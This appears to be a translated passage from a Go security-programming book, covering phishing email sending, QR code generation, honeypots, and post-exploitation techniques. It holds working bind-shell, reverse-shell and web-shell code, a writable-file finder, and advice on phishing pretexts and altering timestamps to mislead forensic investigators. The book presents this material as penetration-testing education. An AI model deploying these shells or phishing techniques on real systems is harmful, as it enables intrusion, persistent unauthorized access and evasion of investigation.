钓鱼攻击通常通过电子邮件进行,但也可以通过电话、社交媒体或短信进行。我们将重点讨论电子邮件方法。钓鱼攻击可以大规模进行,通常会向大量收件人发送一封通用的电子邮件,希望有人会上当。尼日利亚王子邮件骗局曾是一个流行的钓鱼攻击。其他提供奖励的邮件也很常见且相对有效,例如提供 iPhone 赠品或礼品卡,只要他们参与并点击你提供的链接并使用他们的凭据登录。钓鱼邮件还常常模仿合法发件人,使用真实的签名和公司徽标。通常会制造紧迫感,以说服受害者迅速行动,而不按标准程序操作。
你可以使用第十章中网页抓取的程序来收集电子邮件,该程序可以从网页中提取电子邮件。将电子邮件提取功能与提供的网页爬虫示例结合起来,你就可以得到一个强大的工具,用于从域名中抓取电子邮件。
定向钓鱼攻击是指针对少数目标,甚至可能是某个特定目标的钓鱼攻击。定向钓鱼需要更多的研究和定位,定制一封针对个人的电子邮件,创造一个可信的借口,或许还会冒充他们认识的人。定向钓鱼需要更多的工作,但它提高了欺骗用户的可能性,并降低了被垃圾邮件过滤器拦截的风险。
在进行网络钓鱼攻击时,你应该在制作邮件之前首先收集尽可能多的目标信息。本章早些时候提到过,使用 JSON REST API 来收集目标数据。如果你的目标个人或组织有网站,你还可以使用第十章中提到的词频计数程序和标题抓取程序,网页抓取。收集一个网站最常见的词汇和标题是快速了解目标所属行业或他们可能提供的产品和服务的方式。
Go 标准库包含一个用于发送邮件的 SMTP 包。Go 还提供了一个net/mail包用于解析邮件(golang.org/pkg/net/mail/)。mail包相对较小,本书中未涉及,但它允许你将邮件的完整文本解析为一个消息类型,从而可以单独提取正文和头部信息。这个示例专注于如何使用 SMTP 包发送邮件。
配置变量都在源代码的顶部定义。请确保设置正确的 SMTP 主机、端口、发件人和密码。常见的 SMTP 端口是 25 用于未加密访问,端口 465 和 587 常用于加密访问。具体设置取决于你的 SMTP 服务器配置。此示例在没有先设置正确的服务器和凭据时无法正常运行。如果你有 Gmail 账户,可以重用大部分自动填充的值,只需要替换发件人和密码即可。
如果你使用 Gmail 发送邮件并启用了两步验证,你需要在security.google.com/settings/security/apppasswords 创建一个特定的应用密码。如果你没有使用两步验证,那么请在myaccount.google.com/lesssecureapps 启用不太安全的应用程序。
这个程序会创建并发送两封示例邮件,一封是文本邮件,另一封是 HTML 邮件。还可以发送一个合并的文本和 HTML 邮件,在这种情况下,邮件客户端会选择渲染哪个版本。可以使用Content-Type头设置为multipart/alternative,并设置边界来区分文本邮件和 HTML 邮件的起始和结束。发送合并的文本和 HTML 邮件不在此处讨论,但值得一提。你可以在www.w3.org/Protocols/rfc1341/7_2_Multipart.html了解更多关于multipart内容类型的知识,RFC 1341。
Go 还提供了一个 template 包,允许你创建一个包含变量占位符的模板文件,然后用结构体中的数据填充这些占位符。如果你希望将模板文件与源代码分离,模板就非常有用,这样你可以在不重新编译应用程序的情况下修改模板。以下示例没有使用模板,但你可以在 golang.org/pkg/text/template/ 阅读更多关于模板的内容:
package main
import (
"log"
"net/smtp"
"strings"
)
var (
smtpHost = "smtp.gmail.com"
smtpPort = "587"
sender = "sender@gmail.com"
password = "SecretPassword"
recipients = []string{
"recipient1@example.com",
"recipient2@example.com",
}
subject = "Subject Line"
)
func main() {
auth := smtp.PlainAuth("", sender, password, smtpHost)
textEmail := []byte(
`To: ` + strings.Join(recipients, ", ") + `
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8";
Subject: ` + subject + `
Hello,
This is a plain text email.
`)
htmlEmail := []byte(
`To: ` + strings.Join(recipients, ", ") + `
Mime-Version: 1.0
Content-Type: text/html; charset="UTF-8";
Subject: ` + subject + `
<html>
<h1>Hello</h1>
<hr />
<p>This is an <strong>HTML</strong> email.</p>
</html>
`)
// Send text version of email
err := smtp.SendMail(
smtpHost+":"+smtpPort,
auth,
sender,
recipients,
textEmail,
)
if err != nil {
log.Fatal(err)
}
// Send HTML version
err = smtp.SendMail(
smtpHost+":"+smtpPort,
auth,
sender,
recipients,
htmlEmail,
)
if err != nil {
log.Fatal(err)
}
}
生成二维码
快速响应(QR)码是一种二维条形码。它存储的信息比传统的一维条形码要多。二维码最初是由日本汽车工业开发的,但已经被其他行业采纳。二维码于 2000 年被 ISO 批准为国际标准。最新的规范可以在 www.iso.org/standard/62021.html 找到。
二维码可以在一些广告牌、海报、传单和其他广告材料上找到。二维码也常常用于交易中。你可能会在火车票上看到二维码,或者在发送和接收加密货币(如比特币)时使用二维码。一些身份验证服务,如双因素身份验证,也使用二维码以便于操作。
二维码对社交工程非常有用,因为人类无法仅凭外观判断二维码是否恶意。二维码通常包含一个立即加载的网址,这让用户面临风险。如果你创建一个可信的前提,可能会说服用户信任这个二维码。
本示例中使用的包叫做 go-qrcode,可以在 github.com/skip2/go-qrcode 上找到。它是一个第三方库,托管在 GitHub 上,并非由 Google 或 Go 团队提供支持。go-qrcode 包利用了标准库的图像包:image、image/color 和 image/png。
使用以下命令安装 go-qrcode 包:
go get github.com/skip2/go-qrcode/...
go get 中的省略号(...)是一个通配符,它会安装所有子包。
根据包作者的说法,二维码的最大容量取决于编码的内容和错误恢复级别。最大容量为 2,953 字节、4,296 个字母数字字符、7,089 个数字字符,或它们的组合。
本程序展示了两个主要的内容。首先是如何生成二维码,以原始 PNG 字节的形式,然后将要嵌入 HTML 页面的数据进行 Base64 编码。生成完整的 HTML img 标签,并作为输出传递到标准输出,可以直接复制粘贴到 HTML 页面中。第二部分展示了如何简单地生成二维码并将其直接写入文件。
这个示例生成一个 PNG 图像格式的二维码。让我们提供你想要编码的文本和输出文件名作为命令行参数,程序将输出带有编码数据的二维码图像:
package main
import (
"encoding/base64"
"fmt"
"github.com/skip2/go-qrcode"
"log"
"os"
)
var (
pngData []byte
imageSize = 256 // Length and width in pixels
err error
outputFilename string
dataToEncode string
)
// Check command line arguments. Print usage
// if expected arguments are not present
func checkArgs() {
if len(os.Args) != 3 {
fmt.Println(os.Args[0] + `
Generate a QR code. Outputs a PNG file in <outputFilename>.
Also outputs an HTML img tag with the image base64 encoded to STDOUT.
Usage: ` + os.Args[0] + ` <outputFilename> <data>
Example: ` + os.Args[0] + ` qrcode.png https://www.devdungeon.com`)
os.Exit(1)
}
// Because these variables were above, at the package level
// we don't have to return them. The same variables are
// already accessible in the main() function
outputFilename = os.Args[1]
dataToEncode = os.Args[2]
}
func main() {
checkArgs()
// Generate raw binary data for PNG
pngData, err = qrcode.Encode(dataToEncode, qrcode.Medium,
imageSize)
if err != nil {
log.Fatal("Error generating QR code. ", err)
}
// Encode the PNG data with base64 encoding
encodedPngData := base64.StdEncoding.EncodeToString(pngData)
// Output base64 encoded image as HTML image tag to STDOUT
// This img tag can be embedded in an HTML page
imgTag := "<img src=\"data:image/png;base64," +
encodedPngData + "\"/>"
fmt.Println(imgTag) // For use in HTML
// Generate and write to file with one function
// This is a standalone function. It can be used by itself
// without any of the above code
err = qrcode.WriteFile(
dataToEncode,
qrcode.Medium,
imageSize,
outputFilename,
)
if err != nil {
log.Fatal("Error generating QR code to file. ", err)
}
}
Base64 编码数据
在前面的示例中,二维码是经过 base64 编码的。由于这是一个常见任务,因此值得介绍如何进行编码和解码。每当需要将二进制数据作为字符串存储或传输时,base64 编码非常有用。
这个示例展示了一个非常简单的用例,演示如何对字节切片进行编码和解码。进行 base64 编码和解码的两个重要函数是 EncodeToString() 和 DecodeString():
package main
import (
"encoding/base64"
"fmt"
"log"
)
func main() {
data := []byte("Test data")
// Encode bytes to base64 encoded string.
encodedString := base64.StdEncoding.EncodeToString(data)
fmt.Printf("%s\n", encodedString)
// Decode base64 encoded string to bytes.
decodedData, err := base64.StdEncoding.DecodeString(encodedString)
if err != nil {
log.Fatal("Error decoding data. ", err)
}
fmt.Printf("%s\n", decodedData)
}
Honeypots
Honeypots 是你设置的假服务,用来捕捉攻击者。你故意设置一个服务,目的是引诱攻击者,让他们误以为这个服务是真实的,并且包含某种敏感信息。通常,honeypot 会伪装成一个旧的、过时的且容易受到攻击的服务器。可以将日志记录或警报附加到 honeypot 上,以便快速识别潜在攻击者。在你的内部网络上设置 honeypot,可能会在任何系统被攻破之前就发现攻击者。
当攻击者攻破一台机器时,他们通常会利用这台被攻破的机器继续枚举、攻击和跳转。如果你的网络中的 honeypot 检测到来自网络中其他机器的异常行为,如端口扫描或登录尝试,这台表现异常的机器可能已经被攻破。
Honeypot 有许多不同种类。它可以是任何东西,从一个简单的 TCP 监听器,用来记录任何连接,一个带有登录表单字段的假 HTML 页面,或者一个完整的 Web 应用程序,看起来像是一个真实的员工门户。如果攻击者认为他们已经找到了一个关键应用程序,他们更可能花时间试图获取访问权限。如果你设置了诱人的 honeypot,可能会让攻击者花费大部分时间在一个无用的 honeypot 上。如果记录了详细的日志,你可以了解攻击者使用了哪些方法、他们拥有哪些工具,甚至可能知道他们的位置。
还有几种其他类型的 honeypot 值得一提,但在本书中没有演示:
-
SMTP honeypot:这模拟了一个开放的电子邮件中继,垃圾邮件发送者滥用它来捕捉试图使用你的邮件系统的垃圾邮件发送者。
-
Web 爬虫 honeypot:这些是隐藏的网页,通常不打算被人访问,但它们的链接隐藏在你网站的公共区域,如 HTML 注释中,用来捕捉蜘蛛、爬虫和抓取器。
-
数据库 honeypot:这是一个假数据库或真实数据库,通过详细的日志记录来检测攻击者,也可能包含假数据,以便观察攻击者对哪些信息感兴趣。
-
Honeynet:这是一个充满 honeypot 的整个网络,看起来像一个真实的网络,甚至可以自动化或伪造客户端流量到 honeypot 服务,以模拟真实用户。
攻击者可能能够识别出明显的蜜罐服务并避开它们。我建议你选择两个极端中的一个:让蜜罐尽可能模拟真实服务,或者让服务成为一个完全的黑箱,不向攻击者透露任何信息。
本节我们介绍一些非常基础的示例,帮助你理解蜜罐的概念,并为你提供创建自己定制蜜罐的模板。首先,展示了一个基础的 TCP 套接字蜜罐。它将监听一个端口,并记录任何连接和接收到的数据。为了配合这个示例,提供了一个 TCP 测试工具。它像一个原始版本的 Netcat,允许你通过标准输入向服务器发送单个消息。这可以用来测试 TCP 蜜罐,或者扩展并用于其他应用程序。最后一个示例是一个 HTTP 蜜罐。它提供一个登录表单,记录身份验证尝试,但总是返回错误。
确保你理解在网络中使用蜜罐的风险。如果你让蜜罐继续运行而没有保持底层操作系统的更新,那么你可能会给你的网络带来真正的风险。
TCP 蜜罐
我们将开始的最简单的蜜罐是一个 TCP 蜜罐。它将记录收到的任何 TCP 连接和从客户端接收到的任何数据。
它会返回一个身份验证失败的消息。由于它会记录从客户端接收到的任何数据,因此会记录他们尝试使用的任何用户名和密码。通过检查他们尝试的身份验证方法,你可以了解他们的攻击方式,因为它就像一个黑箱,无法给出可能使用的身份验证机制的任何线索。你可以通过查看日志来判断他们是否将其当作 SMTP 服务器使用,这可能意味着他们是垃圾邮件发送者,或者他们可能尝试用数据库进行身份验证,表明他们在寻找信息。研究攻击者的行为可以为你提供很多见解,甚至能揭示你未曾意识到的漏洞。攻击者可能会在蜜罐上使用服务指纹工具,你可能能够识别出他们攻击方法中的模式,并找到阻止他们的方式。如果攻击者尝试使用真实用户凭证登录,那么该用户很可能已经被攻破。
这个示例将记录高层请求,如 HTTP 请求,以及低层连接,如 TCP 端口扫描器。TCP 连接扫描将被记录,但仅有 TCP SYN(隐匿)扫描不会被检测到:
package main
import (
"bytes"
"log"
"net"
)
func handleConnection(conn net.Conn) {
log.Printf("Received connection from %s.\n", conn.RemoteAddr())
buff := make([]byte, 1024)
nbytes, err := conn.Read(buff)
if err != nil {
log.Println("Error reading from connection. ", err)
}
// Always reply with a fake auth failed message
conn.Write([]byte("Authentication failed."))
trimmedOutput := bytes.TrimRight(buff, "\x00")
log.Printf("Read %d bytes from %s.\n%s\n",
nbytes, conn.RemoteAddr(), trimmedOutput)
conn.Close()
}
func main() {
portNumber := "9001" // or os.Args[1]
ln, err := net.Listen("tcp", "localhost:"+portNumber)
if err != nil {
log.Fatalf("Error listening on port %s.\n%s\n",
portNumber, err.Error())
}
log.Printf("Listening on port %s.\n", portNumber)
for {
conn, err := ln.Accept()
if err != nil {
log.Println("Error accepting connection.", err)
}
go handleConnection(conn)
}
}
TCP 测试工具
为了测试我们的 TCP 蜜罐,我们需要向它发送一些 TCP 流量。我们可以使用任何现有的网络工具,包括 Web 浏览器或 FTP 客户端来访问蜜罐。一个很好的工具是 Netcat,它是 TCP/IP 的瑞士军刀。不过,我们不使用 Netcat,而是创建我们自己的简单克隆。它将简单地通过 TCP 读取和写入数据。输入和输出将通过标准输入和标准输出进行,允许你使用键盘和终端,或者将数据管道输入或输出到文件和其他应用程序。
该工具可以作为一个通用的网络测试工具,如果你有任何入侵检测系统或其他需要测试的监控工具,它可能会很有用。这个程序将从标准输入中获取数据,并通过 TCP 连接发送,然后读取服务器返回的任何数据并将其打印到标准输出。当运行这个示例时,必须将主机和端口作为一个包含冒号分隔符的字符串传递,像这样:localhost:9001。以下是这个简单 TCP 测试工具的代码:
package main
import (
"bytes"
"fmt"
"log"
"net"
"os"
)
func checkArgs() string {
if len(os.Args) != 2 {
fmt.Println("Usage: " + os.Args[0] + " <targetAddress>")
fmt.Println("Example: " + os.Args[0] + " localhost:9001")
os.Exit(0)
}
return os.Args[1]
}
func main() {
var err error
targetAddress := checkArgs()
conn, err := net.Dial("tcp", targetAddress)
if err != nil {
log.Fatal(err)
}
buf := make([]byte, 1024)
_, err = os.Stdin.Read(buf)
trimmedInput := bytes.TrimRight(buf, "\x00")
log.Printf("%s\n", trimmedInput)
_, writeErr := conn.Write(trimmedInput)
if writeErr != nil {
log.Fatal("Error sending data to remote host. ", writeErr)
}
_, readErr := conn.Read(buf)
if readErr != nil {
log.Fatal("Error when reading from remote host. ", readErr)
}
trimmedOutput := bytes.TrimRight(buf, "\x00")
log.Printf("%s\n", trimmedOutput)
}
HTTP POST 表单蜜罐
当你将这个程序部署到网络上时,除非进行有意的测试,否则任何表单提交都是一个警示信号。这意味着有人正在尝试登录到你的假服务器。由于没有合法的目的,只有攻击者才会有理由尝试获取访问权限。这里不会进行实际的身份验证或授权,只是一个伪装,让攻击者认为他们正在尝试登录。Go 的 HTTP 包在 Go 1.6 及以上版本中默认支持 HTTP 2。你可以在golang.org/pkg/net/http/ 阅读有关 net/http 包的更多信息。
以下程序将充当一个具有登录页面的 Web 服务器,旨在将表单提交记录到标准输出。你可以运行此服务器,然后尝试通过浏览器登录,登录尝试将会打印到运行该服务器的终端中:
package main
import (
"fmt"
"log"
"net/http"
)
// Correctly formatted function declaration to satisfy the
// Go http.Handler interface. Any function that has the proper
// request/response parameters can be used to process an HTTP request.
// Inside the request struct we have access to the info about
// the HTTP request and the remote client.
func logRequest(response http.ResponseWriter, request *http.Request) {
// Write output to file or just redirect output of this
// program to file
log.Println(request.Method + " request from " +
request.RemoteAddr + ". " + request.RequestURI)
// If POST not empty, log attempt.
username := request.PostFormValue("username")
password := request.PostFormValue("pass")
if username != "" || password != "" {
log.Println("Username: " + username)
log.Println("Password: " + password)
}
fmt.Fprint(response, "<html><body>")
fmt.Fprint(response, "<h1>Login</h1>")
if request.Method == http.MethodPost {
fmt.Fprint(response, "<p>Invalid credentials.</p>")
}
fmt.Fprint(response, "<form method=\"POST\">")
fmt.Fprint(response,
"User:<input type=\"text\" name=\"username\"><br>")
fmt.Fprint(response,
"Pass:<input type=\"password\" name=\"pass\"><br>")
fmt.Fprint(response, "<input type=\"submit\"></form><br>")
fmt.Fprint(response, "</body></html>")
}
func main() {
// Tell the default server multiplexer to map the landing URL to
// a function called logRequest
http.HandleFunc("/", logRequest)
// Kick off the listener using that will run forever
err := http.ListenAndServe(":8080", nil)
if err != nil {
log.Fatal("Error starting listener. ", err)
}
}
HTTP 表单字段蜜罐
在之前的示例中,我们讨论了创建一个假的登录表单来检测有人尝试登录。如果我们想要识别它是否是一个机器人呢?检测一个机器人是否试图登录的能力在生产站点中也很有用,可以用来阻止机器人。一种识别自动化机器人的方法是使用蜜罐表单字段。蜜罐表单字段是一个 HTML 表单中的输入字段,用户看不到它,并且在表单由人类提交时,应该是空的。机器人仍然会找到表单中的蜜罐字段并试图填写它们。
目标是让机器人认为表单字段是真实的,同时将其隐藏于用户之外。一些机器人会使用正则表达式查找诸如 user 或 email 这样的关键词,并只填写那些字段;因此,蜜罐字段通常使用诸如 email_address 或 user_name 的名称,看起来像一个正常的字段。如果服务器在这些字段中接收到数据,它可以认为表单是由机器人提交的。
如果我们在上一个示例中的登录表单中添加了一个名为email的隐藏表单字段,机器人可能会尝试填写它,而人类则看不到它。可以使用 CSS 或input元素上的hidden属性隐藏表单字段。我建议您使用单独的样式表中的 CSS 来隐藏蜜罐表单字段,因为机器人可以轻松确定表单字段是否具有hidden属性,但要检测输入是否使用样式表隐藏则更困难。
沙盒技术
本章未展示的相关技术之一但值得一提的是沙盒技术。沙盒技术与蜜罐有不同的目的,但它们都致力于创建一个看起来合法但实际上是严格控制和监控的环境。一个沙盒的例子是创建一个没有网络连接的虚拟机,记录所有文件更改和尝试的网络连接,以查看是否发生了可疑事件。
有时,可以通过查看 CPU 数量和内存来检测沙盒环境。如果恶意应用程序检测到系统资源很少,比如 1 个 CPU 和 1GB RAM,那么它很可能不是现代台式机,可能是沙盒。恶意软件作者已经学会了指纹识别沙盒环境,并编程使应用程序在怀疑在沙盒中运行时绕过任何恶意操作。
总结
阅读完本章后,你现在应该理解社会工程学的一般概念,并能提供一些示例。你应该理解如何使用 JSON 与 REST API 交互,生成 QR 码和 Base64 编码数据,以及使用 SMTP 发送电子邮件。你还应该能够解释蜜罐的概念,并理解如何为自己的需求实现或扩展这些示例。
你能想到哪些其他类型的蜜罐?哪些常见服务经常受到暴力破解或频繁攻击?你如何自定义或扩展社会工程学的示例?你能想到任何其他可以用于信息收集的服务吗?
在下一章中,我们将涵盖后渗透主题,如部署绑定 shell、反向绑定 shell 或 web shell;交叉编译;查找可写文件;以及修改文件时间戳、权限和所有权。
第十三章:后期利用
后期利用指的是渗透测试的一个阶段,在这个阶段,机器已经被利用并且代码执行已可用。主要任务通常是保持持久性,以便你能够保持连接或留下一种稍后重新连接的方式。本章将介绍一些常见的持久性技术,即绑定 Shell、反向绑定 Shell 和 Web Shell。我们还将探讨交叉编译,这在从单一主机为不同操作系统编译 Shell 时非常有用。
后期利用阶段的其他目标包括寻找敏感数据、修改文件以及掩盖痕迹,以防取证人员能够找到证据。你可以通过更改文件的时间戳、修改权限、禁用 Shell 历史记录和删除日志来掩盖痕迹。本章将介绍一些查找有趣文件和掩盖痕迹的技术。
第四章,取证,与此密切相关,因为进行取证调查与探索一个刚被利用的机器并没有太大区别。两者的任务都是了解系统上有什么并寻找有趣的文件。同样,第五章,数据包捕获与注入,在从一个被利用的主机进行网络分析时也非常有用。许多工具,如查找大文件或查找最近修改的文件,在此阶段也会非常有帮助。有关此阶段可用的更多示例,请参考第四章,取证,和第五章,数据包捕获与注入。
后期利用阶段涵盖了各种任务,包括特权提升、跳板攻击、窃取或销毁数据、以及主机和网络分析。由于其范围广泛,并且根据所利用的系统类型差异很大,本章将专注于一些在大多数场景中都很有用的狭义话题。
在进行这些练习时,尽量从攻击者的角度来看问题。在处理这些例子时保持这种思维方式将帮助你更好地理解如何保护你的系统。
本章将覆盖以下主题:
-
交叉编译
-
绑定 Shell
-
反向绑定 Shell
-
Web Shell
-
查找具有写权限的文件
-
修改文件时间戳
-
修改文件权限
-
修改文件所有权
交叉编译
交叉编译是 Go 语言自带的一个功能,使用起来非常简单。如果你在 Linux 机器上进行渗透测试,且需要编译一个能够在你已经控制的 Windows 机器上运行的自定义反向 Shell,这个功能特别有用。
你可以针对多个架构和操作系统进行构建,所需做的只是修改一个环境变量。无需额外的工具或编译器。Go 内置了这一切。
只需将 GOARCH 和 GOOS 环境变量更改为匹配你希望构建的目标平台。你可以为 Windows、Mac、Linux 等操作系统进行构建。你还可以为主流的 32 位和 64 位桌面处理器以及用于树莓派等设备的 ARM 和 MIPS 构建。
截至本文撰写时,GOARCH 的可能值如下:
386 |
amd64 |
|---|---|
amd64p32 |
arm |
armbe |
arm64 |
arm64be |
ppc64 |
ppc64le |
mips |
mipsle |
mips64 |
mips64le |
mips64p32 |
mips64p32le |
ppc |
s390 |
s390x |
sparc |
sparc64 |
GOOS 的选项如下:
android |
darwin |
|---|---|
dragonfly |
freebsd |
linux |
nacl |
netbsd |
openbsd |
plan9 |
solaris |
windows |
zos |
请注意,并非每种架构都可以与每个操作系统一起使用。请参考 Go 官方文档 (golang.org/doc/install/source#environment) 了解哪些架构和操作系统可以组合使用。
如果你针对的是 ARM 平台,你可以通过设置 GOARM 环境变量来可选地指定 ARM 版本。系统会自动选择一个合理的默认值,建议不要更改它。目前可用的 GOARM 值有 5、6 和 7。
在 Windows 中,按照此处的说明在命令提示符中设置环境变量:
Set GOOS=linux
Set GOARCH=amd64
go build myapp
在 Linux/Mac 中,你也可以通过多种方式设置环境变量,但你可以像这样为单个构建命令指定它:
GOOS=windows GOARCH=amd64 go build mypackage
阅读更多关于环境变量和交叉编译的信息,参见 golang.org/doc/install/source#environment。
这种交叉编译方法是随着 Go 1.5 引入的。在那之前,Go 开发者提供了一个 shell 脚本,但现在已经不再支持,并且已被归档在 github.com/davecheney/golang-crosscompile/tree/archive。
创建绑定 shell
绑定 shell 是一种程序,它绑定到端口并监听连接,提供 shell 服务。每当收到一个连接时,它会运行一个 shell,如 Bash,并将标准输入、输出和错误句柄传递给远程连接。它可以永远监听并为多个传入连接提供 shell 服务。
绑定 shell 在你希望为机器添加持久访问时非常有用。你可以运行绑定 shell,然后断开连接或通过远程代码执行漏洞将绑定 shell 注入到内存中。
绑定 shell 最大的问题是防火墙和 NAT 路由可能会阻止直接远程访问计算机。传入连接通常会被阻止,或者被路由到无法连接到绑定 shell 的方式。基于这个原因,通常使用反向绑定 shell。下一部分将讲解反向绑定 shell。
在 Windows 上编译这个例子时,大小为 1,186 字节。考虑到一些用 C/Assembly 编写的 shell 可以小于 100 字节,这个大小算是相对较大。如果你在利用一个应用程序,你可能会有非常有限的空间来注入一个绑定 shell。你可以通过省略 log 包、删除可选的命令行参数以及忽略错误,来使这个示例更小。
可以使用 TLS 来代替明文传输,只需将 net.Listen() 替换为 tls.Listen()。第六章,加密学,提供了一个 TLS 客户端和服务器的示例。
接口是 Go 语言的一个强大特性,这里通过 reader 和 writer 接口展示了它的便利性。满足 reader 和 writer 接口的唯一要求是分别实现 .Read() 和 .Write() 函数。在这里,网络连接实现了 Read() 和 Write() 函数,exec.Command 也是如此。由于它们实现了共享的接口,我们可以轻松地将 reader 和 writer 接口绑定在一起。
在这个例子中,我们将创建一个 Linux 的绑定 shell,使用内置的/bin/sh shell。它将绑定并监听连接,为任何连接的用户提供一个 shell:
// Call back to a remote server and open a shell session
package main
import (
"fmt"
"log"
"net"
"os"
"os/exec"
)
var shell = "/bin/sh"
func main() {
// Handle command line arguments
if len(os.Args) != 2 {
fmt.Println("Usage: " + os.Args[0] + " <bindAddress>")
fmt.Println("Example: " + os.Args[0] + " 0.0.0.0:9999")
os.Exit(1)
}
// Bind socket
listener, err := net.Listen("tcp", os.Args[1])
if err != nil {
log.Fatal("Error connecting. ", err)
}
log.Println("Now listening for connections.")
// Listen and serve shells forever
for {
conn, err := listener.Accept()
if err != nil {
log.Println("Error accepting connection. ", err)
}
go handleConnection(conn)
}
}
// This function gets executed in a thread for each incoming connection
func handleConnection(conn net.Conn) {
log.Printf("Connection received from %s. Opening shell.",
conn.RemoteAddr())
conn.Write([]byte("Connection established. Opening shell.\n"))
// Use the reader/writer interface to connect the pipes
command := exec.Command(shell)
command.Stdin = conn
command.Stdout = conn
command.Stderr = conn
command.Run()
log.Printf("Shell ended for %s", conn.RemoteAddr())
}
创建反向绑定 shell
反向绑定 shell 解决了防火墙和 NAT 问题。它不是监听传入连接,而是主动拨号到一个远程服务器(一个你控制并且在监听的服务器)。当你在你的计算机上收到连接时,你就拥有了一个运行在防火墙后面的计算机上的 shell。
这个例子使用了明文 TCP 套接字,但你可以轻松地将 net.Dial() 替换为 tls.Dial()。第六章,加密学,提供了 TLS 客户端和服务器的示例,如果你想修改这些示例以使用 TLS。
// Call back to a remote server and open a shell session
package main
import (
"fmt"
"log"
"net"
"os"
"os/exec"
)
var shell = "/bin/sh"
func main() {
// Handle command line arguments
if len(os.Args) < 2 {
fmt.Println("Usage: " + os.Args[0] + " <remoteAddress>")
fmt.Println("Example: " + os.Args[0] + " 192.168.0.27:9999")
os.Exit(1)
}
// Connect to remote listener
remoteConn, err := net.Dial("tcp", os.Args[1])
if err != nil {
log.Fatal("Error connecting. ", err)
}
log.Println("Connection established. Launching shell.")
command := exec.Command(shell)
// Take advantage of reader/writer interfaces to tie inputs/outputs
command.Stdin = remoteConn
command.Stdout = remoteConn
command.Stderr = remoteConn
command.Run()
}
创建 Web shell
Web shell 类似于绑定 shell,但是它不是作为原始的 TCP 套接字进行监听,而是作为 HTTP 服务器监听和通信。这是一种创建持久访问机器的有用方法。
Web shell 可能是必要的原因之一,是因为防火墙或其他网络限制。HTTP 流量可能与其他流量的处理方式不同。有时,80 和 443 端口是唯一可以通过防火墙的端口。一些网络可能会检查流量,确保只有格式为 HTTP 的请求可以通过。
请记住,使用纯 HTTP 意味着流量可能以明文记录。可以使用 HTTPS 来加密流量,但 SSL 证书和密钥将存储在服务器上,服务器管理员可以访问它。要使此示例使用 SSL,你只需将http.ListenAndServe()更改为http.ListenAndServeTLS()。此示例在第九章中提供,Web 应用程序。
Web shell 的方便之处在于,你可以使用任何 Web 浏览器和命令行工具,例如curl或wget。你甚至可以使用netcat手动构造 HTTP 请求。缺点是,你没有一个真正交互式的 shell,且每次只能发送一个命令。如果你用分号分隔多个命令,你可以用一条字符串运行多个命令。
你可以手动在netcat中或使用类似的自定义 TCP 客户端构造 HTTP 请求,如下所示:
GET /?cmd=whoami HTTP/1.0\n\n
这类似于由 Web 浏览器创建的请求。例如,如果你运行webshell localhost:8080,你可以访问端口8080上的 URL,并使用http://localhost:8080/?cmd=df运行命令。
请注意,/bin/sh命令适用于 Linux 和 Mac。Windows 使用cmd.exe命令提示符。在 Windows 上,你可以启用 Windows 子系统 Linux,并从 Windows 商店安装 Ubuntu,以在不安装虚拟机的情况下在 Linux 环境中运行所有这些 Linux 示例。
在下一个示例中,Web shell 创建了一个简单的 Web 服务器,监听 HTTP 请求。当它收到请求时,它会查找名为cmd的GET查询。它将执行一个 shell,运行提供的命令,并将结果作为 HTTP 响应返回:
package main
import (
"fmt"
"log"
"net/http"
"os"
"os/exec"
)
var shell = "/bin/sh"
var shellArg = "-c"
func main() {
if len(os.Args) != 2 {
fmt.Printf("Usage: %s <listenAddress>\n", os.Args[0])
fmt.Printf("Example: %s localhost:8080\n", os.Args[0])
os.Exit(1)
}
http.HandleFunc("/", requestHandler)
log.Println("Listening for HTTP requests.")
err := http.ListenAndServe(os.Args[1], nil)
if err != nil {
log.Fatal("Error creating server. ", err)
}
}
func requestHandler(writer http.ResponseWriter, request *http.Request) {
// Get command to execute from GET query parameters
cmd := request.URL.Query().Get("cmd")
if cmd == "" {
fmt.Fprintln(
writer,
"No command provided. Example: /?cmd=whoami")
return
}
log.Printf("Request from %s: %s\n", request.RemoteAddr, cmd)
fmt.Fprintf(writer, "You requested command: %s\n", cmd)
// Run the command
command := exec.Command(shell, shellArg, cmd)
output, err := command.Output()
if err != nil {
fmt.Fprintf(writer, "Error with command.\n%s\n", err.Error())
}
// Write output of command to the response writer interface
fmt.Fprintf(writer, "Output: \n%s\n", output)
}
查找可写文件
一旦你获得了系统的访问权限,你会开始探索。通常,你会寻找提升权限或保持持久性的方式。寻找持久性的方法之一是识别哪些文件具有写权限。
你可以查看文件权限设置,看看你自己或其他人是否具有写权限。你可以显式查找像777这样的模式,但更好的方法是使用位掩码,专门查看写权限位。
权限由多个位表示:用户权限、组权限,最后是每个人的权限。0777权限的字符串表示形式如下:-rwxrwxrwx。我们关注的位是赋予每个人写权限的位,表示为--------w-。
第二个位是我们唯一关心的,因此我们将使用按位与操作将文件权限与0002进行掩码。如果该位被设置,它将保持唯一的设置。如果未设置,它将保持关闭,整个值将为0。要检查组或用户的写权限位,你可以分别使用0020和0200进行按位与操作。
要递归地搜索目录,Go 提供了标准库中的path/filepath包。此函数只需要一个起始目录和一个函数。它会对找到的每个文件执行该函数。它期望的函数实际上是一个特别定义的类型。定义如下:
type WalkFunc func(path string, info os.FileInfo, err error) error
只要你创建一个匹配此格式的函数,你的函数就会与WalkFunc类型兼容,并且可以在filepath.Walk()函数中使用。
在下一个示例中,我们将遍历一个起始目录并检查每个文件的权限。我们还会检查子目录。任何当前用户可以写入的文件将被打印到标准输出:
package main
import (
"fmt"
"log"
"os"
"path/filepath"
)
func main() {
if len(os.Args) != 2 {
fmt.Println("Recursively look for files with the " +
"write bit set for everyone.")
fmt.Println("Usage: " + os.Args[0] + " <path>")
fmt.Println("Example: " + os.Args[0] + " /var/log")
os.Exit(1)
}
dirPath := os.Args[1]
err := filepath.Walk(dirPath, checkFilePermissions)
if err != nil {
log.Fatal(err)
}
}
func checkFilePermissions(
path string,
fileInfo os.FileInfo,
err error,
) error {
if err != nil {
log.Print(err)
return nil
}
// Bitwise operators to isolate specific bit groups
maskedPermissions := fileInfo.Mode().Perm() & 0002
if maskedPermissions == 0002 {
fmt.Println("Writable: " + fileInfo.Mode().Perm().String() +
" " + path)
}
return nil
}
更改文件时间戳
以与修改文件权限相同的方式,你可以修改时间戳,使其看起来像是过去或未来修改过的。这在掩盖痕迹时非常有用,可以让文件看起来像是很久没有访问过,或者将其设置为未来的某个日期,以混淆取证调查人员。Go 的os包包含了修改文件的工具。
